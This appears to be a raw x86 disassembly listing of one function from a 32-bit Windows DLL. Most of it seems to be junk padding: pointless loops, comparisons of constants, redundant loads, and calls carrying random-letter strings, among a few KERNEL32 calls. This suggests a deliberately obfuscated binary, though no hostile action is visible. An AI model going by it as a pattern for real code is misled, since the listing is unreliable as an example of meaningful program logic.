mov dword [ebp - 0x1a0], edi
mov dword [ebp - 0x1e8], edi
mov dword [ebp - 0x1d0], 9
mov dword [ebp - 0x1c8], 0x83800955
mov dword [ebp - 0x1a8], 0xf093
push esi
call fcn.10001c0f
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x94], ebx
jmp 0x1003825f
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x36c]
mov dword [eax + ecx*4], 0x7a7c2039
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 1
jl 0x10038246
push ebx
push 0x7b60
push 0x6fb3
push 1
push 0x7201
lea eax, [ebp - 0x94]
mov edx, 0xe6
push eax
lea eax, [ebp - 0x358]
mov cl, 1
push eax
push 0x7680
push 0x665e
push 0x5da3
push 0x6598
push 0x1780
call fcn.100334dc
add esp, 0x30
lea eax, [ebp - 0x118]
mov edx, 0x180c
push eax
push ecx
push 0x3d49
sub esp, 0xc
mov cl, 1
push 0x38e3
call fcn.10032c3a
add esp, 0x1c
lea eax, [ebp - 0x1c8]
lea edx, [ebp - 0x118]
push 0x4c01
push 0x405e
push ebx
push 0x3adc
push ecx
push eax
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x1e8]
push eax
push 1
lea eax, [ebp - 0x1a8]
push eax
push ecx
push 1
lea ecx, [ebp - 0x1d0]
call fcn.10035819
add esp, 0x30
lea ecx, [ebp - 0x358]
call fcn.10001c92
lea ecx, [ebp - 0x36c]
mov dword [ebp - 4], edi
call fcn.10001c92
mov esi, ebx
mov dword [ebp - 0x40], ebx
push 2
cmp esi, 2
jae 0x100385cb
mov dword [ebp - 0x60], 0x94f37831
lea ecx, [ebp - 0x254]
mov dword [ebp - 0x78], 0xe52d8cb4
mov dword [ebp - 0x1c], 9
call fcn.10001c0f
push ebx
push ecx
lea edx, [ebp - 0x254]
mov dword [ebp - 4], 0x30
lea ecx, [ebp - 0x3c4]
call fcn.10035c83
push ebx
push 0x1348
push 0x289e
lea eax, [ebp - 0x60]
mov edx, 0x34d
push eax
push 0x1eee
push 1
push 0x5f8e
lea eax, [ebp - 0x78]
xor cl, cl
push eax
push 0x5e6b
call fcn.10034df9
add esp, 0x2c
mov dword [ebp - 0x60], ebx
cmp dword [ebp - 0x60], 0x2f
jg 0x100385a7
mov dword [ebp - 0x4c], 0xffff
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100383d4
mov dl, 1
call fcn.10032c7d
mov dword [ebp - 0x78], 0xfffffff0
cmp dword [ebp - 0x78], 0xd
jg 0x1003859f
mov dword [ebp - 0xc0], 0xf8b5131d
cmp dword [ebp - 0xc0], ebx
jne 0x1003859f
mov dword [ebp - 0x2c], 0x2b94
cmp dword [ebp - 0x2c], 0x2d96
jle 0x10038438
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x100742b8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000793a
inc edi
cmp edi, 0x716d
jl 0x1003840f
inc esi
cmp esi, 0x702d
jl 0x1003840d
or edi, 0xffffffff
mov eax, dword [ebp - 0xc0]
xor edx, edx
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setg dl
xor ecx, ecx
imul eax, edx, 0x8ad6
cmp eax, 0x583e3585
mov eax, dword [ebp - 0x4c]
setg cl
xor edx, edx
cmp ecx, edi
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0x511b
jl 0x10038489
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x254]
setle dl
imul ecx, edx
mov dword [eax + 4], ecx
xor eax, eax
cmp ecx, 0x7180
setne al
add eax, dword [ebp - 0x60]
je 0x10038503
mov cl, 1
call fcn.10034fc9
push 0x38b7
push 0x5d77
push 0x441e
lea eax, [ebp - 0xc0]
xor dl, dl
push eax
push 0xa7d
push 1
push 0x69d
lea eax, [ebp - 0x254]
xor cl, cl
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.10033f73
add esp, 0x24
jmp 0x10038553
mov dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x18], ebx
jmp 0x10038520
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x360], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003850f
mov dword [ebp - 0x1c], 0xffffffe7
jmp 0x1003854d
mov dword [ebp - 0x4c], 0xfffffff7
jmp 0x10038544
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x35c], eax
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x1f
jl 0x10038538
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe9
jg 0x1003852f
mov byte [ebp - 4], 0x31
cmp dword [ebp - 0x2c], 0x28a1
jge 0x10038590
mov edx, str.jlbujmkla_izjjbpfym_rudkgbe_qblycwca
mov ecx, 0x100742b8
call fcn.10009c90
jmp 0x10038590
mov dword [ebp - 4], 0x30
inc dword [ebp - 0x78]
jmp 0x100383db
inc dword [ebp - 0x60]
jmp 0x100383b3
lea ecx, [ebp - 0x254]
mov dword [ebp - 4], edi
call fcn.10001c92
mov esi, dword [ebp - 0x40]
xor eax, eax
mov word [ebp + esi*2 - 0xec], ax
inc esi
mov dword [ebp - 0x40], esi
jmp 0x10038338
mov dword [ebp - 0x20], 0x107
lea ecx, [ebp - 0x37c]
call fcn.10001c0f
sub esp, 0xc
mov dword [ebp - 4], 0x33
lea eax, [ebp - 0x324]
mov dword [ebp - 0x2c], 0xd4782549
lea edx, [ebp - 0x37c]
mov cl, 1
push 0x1a80
push eax
call fcn.1003372d
add esp, 0x14
cmp dword [ebp - 0x20], ebx
je 0x10038612
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov cl, 1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
push 0xb89
mov dword [ebp - 0x2c], eax
call fcn.10035003
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x37c]
call fcn.10001c92
mov edi, dword [ebp - 0x24]
shr edi, 1
mov dword [ebp - 0x1b0], edi
mov eax, dword [ebp - 0xbc]
inc eax
cmp eax, dword [ebp - 0x1b0]
jae 0x1003874a
mov dword [ebp - 0x2c], 0xb3c692be
mov dword [ebp - 0x130], 0xc6338430
mov dword [ebp - 0x180], 0xffffffff
cmp dword [ebp - 0x2c], ebx
je 0x100386c5
push 1
push ebx
push 0x6233
lea eax, [ebp - 0x200]
mov dword [ebp - 0x200], 0x149febb6
push eax
push 0x2c9f
mov edx, 0x7812
mov cl, 1
call fcn.10035c28
add esp, 0x14
jmp 0x100386f9
push ecx
lea eax, [ebp - 0x130]
mov dword [ebp - 0x1b8], 0x2abb
push eax
lea eax, [ebp - 0x1b8]
mov dword [ebp - 0x130], 0xffffffff
push eax
sub esp, 0x14
lea edx, [ebp - 0x180]
call fcn.100350d2
add esp, 0x20
mov edi, dword [ebp - 0xbc]
mov esi, dword [ebp - 0x44]
lea ecx, [esi + edi*2]
call fcn.10031d0d
lea ecx, [edi + 2]
mov dword [ebp - 0xc8], eax
lea ecx, [esi + ecx*2]
call fcn.10031d0d
cmp dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0xdc], eax
jne 0x100387ed
test eax, eax
jne 0x100387ed
push 0x290f
push ecx
mov edx, 0x5608
xor cl, cl
call fcn.10035a06
pop ecx
pop ecx
mov dword [ebp - 0x38], 0x15b8
cmp dword [ebp - 0x38], 0x17ee
jle 0x100387b8
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov edi, esi
mov dword [ebp - 0x34], 0x2c06
mov dword [ebp - 0x40], edi
mov eax, edi
mov dword [ebp - 0x2c], 0x6002
mov dword [ebp - 0x44], eax
mov esi, eax
mov edi, 0x4414
mov eax, esi
mov ecx, 0x100742b8
cdq
push edx
push eax
call fcn.1000793a
dec esi
dec edi
jne 0x1003877e
mov eax, dword [ebp - 0x44]
dec eax
dec dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
jne 0x10038777
mov edi, dword [ebp - 0x40]
dec edi
dec dword [ebp - 0x34]
mov dword [ebp - 0x40], edi
jne 0x1003876b
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x27f2
jl 0x1003875f
mov dword [ebp - 4], 0x45
cmp dword [ebp - 0x38], 0x14c0
jge 0x100387d7
mov edx, str.dgqcyfa_nwepqouz_rxxmi_yenzx
mov ecx, 0x100742b8
call fcn.10009c90
or dword [ebp - 4], 0xffffffff
push 3
mov dword [ebp - 0x20], 0x49fe387f
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x100395ea
push ecx
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x3c], 0xa53d06ce
push eax
push 1
mov byte [ebp - 0x6c], bl
push ecx
call fcn.10032e38
mov byte [ebp - 0x25], bl
add esp, 0x10
cmp byte [ebp - 0x25], 0
je 0x10038822
push 1
push 1
mov dl, 1
mov ecx, 0x3698
call fcn.10035178
pop ecx
pop ecx
lea eax, [ebp - 0xbc]
mov dl, 1
push eax
push 0x63a5
push ebx
push 1
mov ecx, 0x3c31
call fcn.10034d71
add esp, 0x10
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x3c], 0x7b5c6eff
lea ecx, [ebp - 0x38c]
push 3
call fcn.10001c0f
push 1
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 4], 0x34
call fcn.10001c0f
mov byte [ebp - 4], 0x35
mov dword [ebp - 0x3c], 0x28787d63
mov dword [ebp - 0x64], ebx
jmp 0x1003888c
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x124], 0xc85f
inc dword [ebp - 0x64]
cmp dword [ebp - 0x64], 1
jl 0x1003887b
lea eax, [ebp - 0x64]
mov dl, 1
push eax
lea eax, [ebp - 0x38c]
push eax
push ecx
mov ecx, 0x1329
call fcn.100352a9
add esp, 0xc
lea edx, [ebp - 0x2ec]
push 1
push ecx
lea ecx, [ebp - 0x64]
call fcn.100352e1
pop ecx
pop ecx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x10038b06
mov dword [ebp - 0x34], 0x567b
cmp dword [ebp - 0x34], 0x59f6
jle 0x1003891e
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x2c], 0x46c5
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x100742b8
cdq
push edx
push eax
call fcn.1000793a
inc edi
cmp edi, 0x4220
jl 0x100388ed
dec esi
dec dword [ebp - 0x2c]
jne 0x100388eb
mov esi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x5675
jl 0x100388e1
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 4], 0x36
cmp dword [ebp - 0x34], 0x562b
jge 0x1003895b
mov edx, str.flrfewo_fgwbxvi_iohzkdyno_nldih_xyklz_vhbya_igl_jrtys_hvzppv_ulzqunkq_geopebg_oqzuplwn_ytxkm_xlsyvxtm
mov ecx, 0x100742b8
call fcn.10009c90
jmp 0x1003895b
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x3c], 0x2c58fb77
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x34], 0x55e3
cmp dword [ebp - 0x34], 0x57ee
jle 0x100389df
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, ebx
mov dword [ebp - 0x40], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov eax, edi
mov dword [ebp - 0x38], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
mov ecx, 0x100742b8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000793a
inc edi
cmp edi, 0x118d
jl 0x100389a4
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x4878
jl 0x10038998
inc edi
mov dword [ebp - 0x40], edi
cmp edi, 0x70b7
jl 0x10038993
mov dword [ebp - 0x3c], 0xffffffff
mov byte [ebp - 4], 0x38
cmp dword [ebp - 0x34], 0x5408
jge 0x10038a20
mov edx, str.uaklccd_vftcecgza_rllcjyd_lkstyrsen
mov ecx, 0x100742b8
call fcn.10009c90
jmp 0x10038a20
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x18], ebx
jmp 0x10038a3d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x46c], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10038a2c
push 1
push ecx
mov byte [ebp - 0x71], bl
lea ecx, [ebp - 0x71]
call fcn.10032f2b
push 0x4374
lea eax, [ebp - 0x2ec]
mov edx, 0x5f10
push eax
push 1
call fcn.10034fae
mov dword [ebp - 0x34], 0x56c4
add esp, 0x14
cmp dword [ebp - 0x34], 0x5776
jle 0x10038ae3
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x2c], 0x796d
mov eax, esi
lea ecx, [ebp - 0x534]
xor eax, edi
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10038aa9
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x534]
call fcn.100022c2
dec esi
dec dword [ebp - 0x2c]
jne 0x10038a8d
mov esi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x7368
jl 0x10038a83
inc edi
cmp edi, 0x7dcb
jl 0x10038a7e
push ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x34], 0x54af
jge 0x10038af7
push str.rtaxh_sijdrful_swevvsu_fcqemw_qxdgql_wkiconc_kpeyhioy
call fcn.10042041
pop ecx
mov dword [ebp - 4], 0x35
dec dword [ebp - 0x24]
jmp 0x100388c3
lea ecx, [ebp - 0x2ec]
call fcn.10001c92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38c]
call fcn.10001c92
cmp dword [ebp - 0xdc], 0
jle 0x100394ec
mov dword [ebp - 0x20], 0xfffffffc
xor eax, eax
mov dword [ebp - 0x24], ebx
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x5fba
mov dword [ebp - 0x38], 0x81c1
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x120], 7
mov dword [ebp - 0x1c], ebx
jmp 0x10038b78
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x174], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10038b67
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
neg edx
mov dword [ebp - 0x24], edx
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x20]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x1c], edx
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0x6084
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
test eax, eax
je 0x10038bf3
cmp dword [ebp - 0x1c], ebx
je 0x10038bf3
xor eax, eax
inc eax
jmp 0x10038bf5
mov eax, ebx
mov edx, dword [ebp - 0x20]
sub edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0x230b63e9
jl 0x10038c1e
cmp dword [ebp - 0x1c], ebx
jne 0x10038c1e
mov ecx, ebx
jmp 0x10038c21
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
add eax, ecx
jne 0x10038c31
cmp dword [ebp - 0x18], ebx
jne 0x10038c31
mov eax, ebx
jmp 0x10038c34
xor eax, eax
inc eax
mov dword [ebp - 0x170], eax
cmp eax, dword [ebp - 0x18]
jg 0x10038c7b
mov dword [ebp - 0x34], 0x6986
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x170], ecx
mov eax, dword [ebp - 0x34]
test eax, eax
mov eax, dword [ebp - 0x34]
setle dl
sub edx, ecx
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x1c], ecx
jmp 0x10038e69
push dword [ebp - 0x124]
movdqa xmm0, xmmword [0x10067230]
lea eax, [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x3c], 0xfffffff9
push eax
mov dword [ebp - 0x30], 1
lea ecx, [ebp - 0x218]
push ebx
movdqu xmmword [ebp - 0x3f4], xmm0
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x210], ebx
call fcn.10001cf8
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0x24], 0xa57a880e
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
je 0x10038e11
mov dword [ebp - 0x3c0], 0x657a772b
mov dword [ebp - 0x3bc], 0x657a772b
mov dword [ebp - 0x3b8], 0x657a772b
mov dword [ebp - 0x3b4], 0x657a772b
mov dword [ebp - 0x3c], 0xa9b22354
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x18], 0x1ccb
cmp dword [ebp - 0x18], 0x1e26
jle 0x10038d93
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x40], ebx
cdq
mov esi, ebx
idiv edi
mov edi, edx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
and eax, esi
mov ecx, 0x100742b8
and eax, edi
cdq
push edx
push eax
call fcn.1000793a
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x860
jl 0x10038d42
inc esi
cmp esi, 0x3241
jl 0x10038d3d
mov edi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x40], edi
cmp edi, 0x573b
jl 0x10038d36
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10038db2
push 0x5490
push ecx
push 0x29e
push ecx
mov cl, 1
call fcn.10035349
add esp, 0x10
mov byte [ebp - 4], 0x3d
cmp dword [ebp - 0x18], 0x19a2
jge 0x10038dec
mov edx, str.xgpidga_sepzwvzqx_lari_znmdtv_ekggvw_nzw_mvx_bzltl_ctctoe_fvq
mov ecx, 0x100742b8
call fcn.10009c90
jmp 0x10038dec
push ecx
push ecx
push ebx
push 0x15d0
lea ecx, [ebp - 0x120]
mov dword [ebp - 4], 0x3c
call fcn.100355f9
add esp, 0x10
inc dword [ebp - 0x1c]
jmp 0x10038cdc
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
sub edx, 0xfffffff9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x120]
cmp eax, 0x5309
mov eax, dword [ebp - 0x34]
setge cl
imul eax, ecx
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
call fcn.10001c92
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], ebx
lea ecx, [eax + ecx*2]
mov dword [ebp - 0x30], ecx
jmp 0x10038e95
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3b0], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10038e84
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10038ece
push 1
mov dword [ebp - 0x3c], 8
push 0x6181
call fcn.10035b74
mov dword [ebp - 0x2c], 0x236d
cmp dword [ebp - 0x2c], 0x2610
pop ecx
pop ecx
jle 0x10039561
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x51c]
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10039533
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x51c]
call fcn.100022c2
inc esi
cmp esi, 0x711f
jl 0x10039515
inc edi
cmp edi, 0x4662
jl 0x10039513
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 1
push ecx
push ecx
mov ecx, 0x146d
call fcn.10035bbb
add esp, 0xc
cmp dword [ebp - 0x2c], 0x223f
jge 0x10039586
push str.bfdhpejsz_lahtmx_kylcgw_zcxozadej_momighc_vth_npzgqs_tbcdfrzgm_wyxoxr_dpypffbny_xbch_gijthgvir_fbujrb_wwrig
call fcn.10042041
pop ecx
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xbc]
push 1
push 1
push 0x5de6
push 0x2f5
push eax
lea edx, [ebp - 0xdc]
mov cl, 1
call fcn.10035c28
add esp, 0x14
jmp 0x10038663
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x464], 0x509978f3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100395d9
push 1
push ecx
mov edx, 0x2d83
mov ecx, 0x1ac0
call fcn.10035c83
pop ecx
pop ecx
cmp dword [ebp - 0x20], ebx
je 0x10039649
mov dword [ebp - 0x18], ebx
jmp 0x1003961f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x544], 0xc2db2212
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003960e
mov cl, 1
call fcn.10035da7
mov dword [ebp - 0x20], ebx
jmp 0x10039642
push ecx
mov edx, 0x515a
mov cl, 1
call fcn.10035e8b
inc dword [ebp - 0x20]
pop ecx
cmp dword [ebp - 0x20], esi
jle 0x10039631
jmp 0x1003969e
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], ebx
jl 0x1003969e
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], ebx
jl 0x10039699
mov dword [ebp - 0x18], 0x1b68dee2
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x10039694
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], ebx
jl 0x1003968f
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x464], ebx
jne 0x1003968f
dec dword [ebp - 0x24]
jns 0x1003967e
dec dword [ebp - 0x18]
jns 0x1003966f
dec dword [ebp - 0x38]
jns 0x10039660
dec dword [ebp - 0x20]
jns 0x10039651
mov ecx, dword [ebp - 0xc]
mov eax, 0x105755ec
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret